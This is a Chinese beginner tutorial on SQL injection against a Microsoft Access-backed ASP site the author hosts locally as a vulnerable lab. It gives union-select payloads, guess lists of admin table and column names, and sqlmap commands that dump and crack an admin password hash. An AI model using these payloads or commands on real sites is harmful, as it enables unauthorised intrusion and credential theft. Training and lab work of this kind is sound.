SQL注入access数据库【一】
2019-10-06 10:49:47 Author: mp.weixin.qq.com(查看原文) 阅读量:63 收藏

access数据库简单介绍

先来介绍一下这个数据库,Microsoft Office Access,Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

优势:提高速度和减少代码量

缺点:当数据库过大时,一般达到100M左右性能就会开始慢慢下降了(比如访问人数过多,过度消耗服务器资源),安全性能差。

适合人群:小白,初学者了解sql注入,编程人员 (大佬勿喷)

首先是sql注入产生的条件:

1.参数的传递

2.参数值可以带入到数据库

我们这里本地搭建了一个漏洞平台(漏洞源码会附在下面链接的)

第一步 找注入点

我这注入点是 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139

先用 ' 单引号报错 如果报错了说明有注入点的可能性

再用

and 1=1 返回正常

and 1=2 返回不正常

返回正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=1

返回不正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=2

第二步 我们再来判断一下它的数据类型

and (select count(*) from sysobjects)>0  判断sql server

and (select count(*) from msysobjects)>0 判断access数据库 返回不够权限就是access数据库了

我这里判断的是 access数据库

第三步 用order by 判断字段数量

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 order by 30

我们这里使用折中猜解法,这里30返回报错,那我们继续下去

这里猜的是22个字段数量

那我们接着继续下去

第四步 联合查询

两条语句

union select 长度 from 表

union select 列名 from  表   

首先我们长度是22

那我们构成语句

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名

这里表名我们就慢慢自己构造 直到出数据所在字段了

常用的表名

admin、a_admin、x_admin、m_admin、adminuser、adminstrator...

我这里猜测的表名是 admin 爆出来了

这里出来的两个字段 3,15 我们继续猜测列名

常用的列名

admin,password,username、admin_name、name、admin_userid、admin_id

我们就猜最常见的吧

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

admin放3字段位置上,password放在15字段位置上

ok账号密码都出来了

admin  a48e190fafc257d3

密码是MD5加密了  我们拿到解密网站解密一下

最后解开的密码就是bendss

所以账号是 admin  密码是 bendss

sqlmap(access数据库注入)工具篇

 先用 sqlmap.py -u "URL"  看看是否能注入

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139"

ok,这里返回了 DBMS 'microsoft access'   也就是 access 数据库,也没报红,说明可以注入

我们先来猜猜它的数据库表名吧

语句

sqlmap.py -u "url" --tables

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --tables

ok,这里表名有 admin  admin_login email guestbook job news product

我们再来猜解下admin表里的字段

我们这里 需要的字段 就admin 跟 password

继续往下猜解这两个字段里的数据

语句

sqlmap.py -u "url" --dump -T 表名 -C "字段名"

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --dump -T admin -C "admin,password"

数据也出来了 ok上面 解密过了 就不再解了

慢慢了解sql注入, 从最简单的数据库开始

*本文原创作者:辰小白   转载请注明来源于华盟网源及作者


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650457567&idx=3&sn=7282a5add0889061a0bf1385e5840e3c&chksm=83bba03bb4cc292d62de30de88e5a793ea251456365e816629ba765b9beb9f7832962e8b42d4#rd
如有侵权请联系:admin#unsafe.sh